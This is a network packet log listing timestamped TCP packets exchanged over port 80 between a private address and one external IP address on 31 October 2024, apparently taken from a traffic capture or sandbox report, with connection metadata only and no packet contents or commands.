Oct 31, 2024 11:27:25.216419935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216428041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216434002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216448069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216460943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216471910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216474056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216485977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216506958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216512918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216521025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216531992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216532946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216547012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216558933 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216563940 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216573954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.216595888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.216614008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.249516010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249543905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249558926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249572039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249586105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249598026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.249600887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.249644041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.249674082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.326891899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.326944113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.326957941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.326977968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.326992035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327003002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327018023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327029943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327043056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327043056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327055931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327130079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327141047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327147007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327200890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327200890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327202082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327209949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327222109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327231884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327241898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327241898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327253103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327269077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327306986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327306986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327328920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327334881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327348948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327361107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327379942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327394009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327433109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327444077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327455044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327464104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327476025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327502966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327565908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327575922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327590942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327605963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327605963 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327619076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327631950 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327636957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327650070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327662945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327663898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327683926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327697992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327760935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327771902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327801943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327871084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327882051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327893019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327904940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327913046 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327919960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327941895 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327945948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327956915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327966928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.327972889 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.327982903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328001976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328023911 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328124046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328136921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328149080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328161001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328162909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328175068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328187943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328188896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328202009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328213930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328217030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328227043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328237057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328238964 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328253031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328263044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328263044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328289032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328304052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328464031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328475952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328486919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328499079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328509092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328512907 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328525066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328525066 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328542948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328552961 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328557014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328568935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328599930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328643084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328654051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328681946 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328711987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328768969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328780890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328798056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328808069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328809023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328823090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328823090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328836918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328843117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328850031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328856945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328862906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328876019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328882933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328888893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.328896999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.328932047 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329086065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329097033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329114914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329125881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329127073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329138041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329152107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329154015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329164028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329170942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329179049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329191923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329201937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329219103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329242945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329416037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329427958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329438925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329451084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329453945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329463959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329473019 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329476118 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329490900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329500914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329504967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329515934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329518080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329529047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329540014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329547882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329551935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329566002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329579115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329580069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329591990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329592943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329622030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329643965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329776049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329787970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329797983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329818964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329834938 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329898119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329910040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329916000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329927921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329940081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329948902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329952002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.329963923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.329967022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330001116 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330015898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330173016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330184937 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330195904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330208063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330214024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330220938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330231905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330243111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330243111 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330255985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330265045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330269098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330281019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330284119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330293894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330307961 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330334902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330491066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330503941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330513954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330524921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330533981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330540895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330550909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330553055 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330564976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330585003 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330600023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330606937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330610991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330621958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330634117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330641031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330642939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330656052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330667019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330672026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330679893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330688953 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330693960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330704927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330709934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330717087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330729008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330734015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330743074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330754995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.330761909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330775976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.330790043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331058025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331070900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331110001 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331202030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331214905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331227064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331239939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331253052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331252098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331264973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331275940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331283092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331289053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331300020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331316948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331319094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331331968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331332922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331346035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331358910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331357956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331372023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331386089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331403017 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331424952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331593037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331603050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331614017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331631899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331631899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331659079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331682920 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331695080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331707954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331717968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331731081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331734896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331744909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331753969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331758022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331769943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331780910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331780910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331795931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.331796885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.331828117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.366754055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.366808891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.366859913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.366868973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.366900921 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.366925955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.413933992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.413954973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.413969040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.413997889 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.414026022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444099903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444139957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444153070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444165945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444181919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444183111 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444195986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444205999 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444210052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444246054 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444253922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444281101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444298029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444310904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444329977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444349051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444349051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444364071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444397926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444415092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444442987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444461107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444489002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444494009 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444509029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444547892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444555998 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.444561958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.444597006 CET	49757	80	192.168.2.4	185.215.113.206
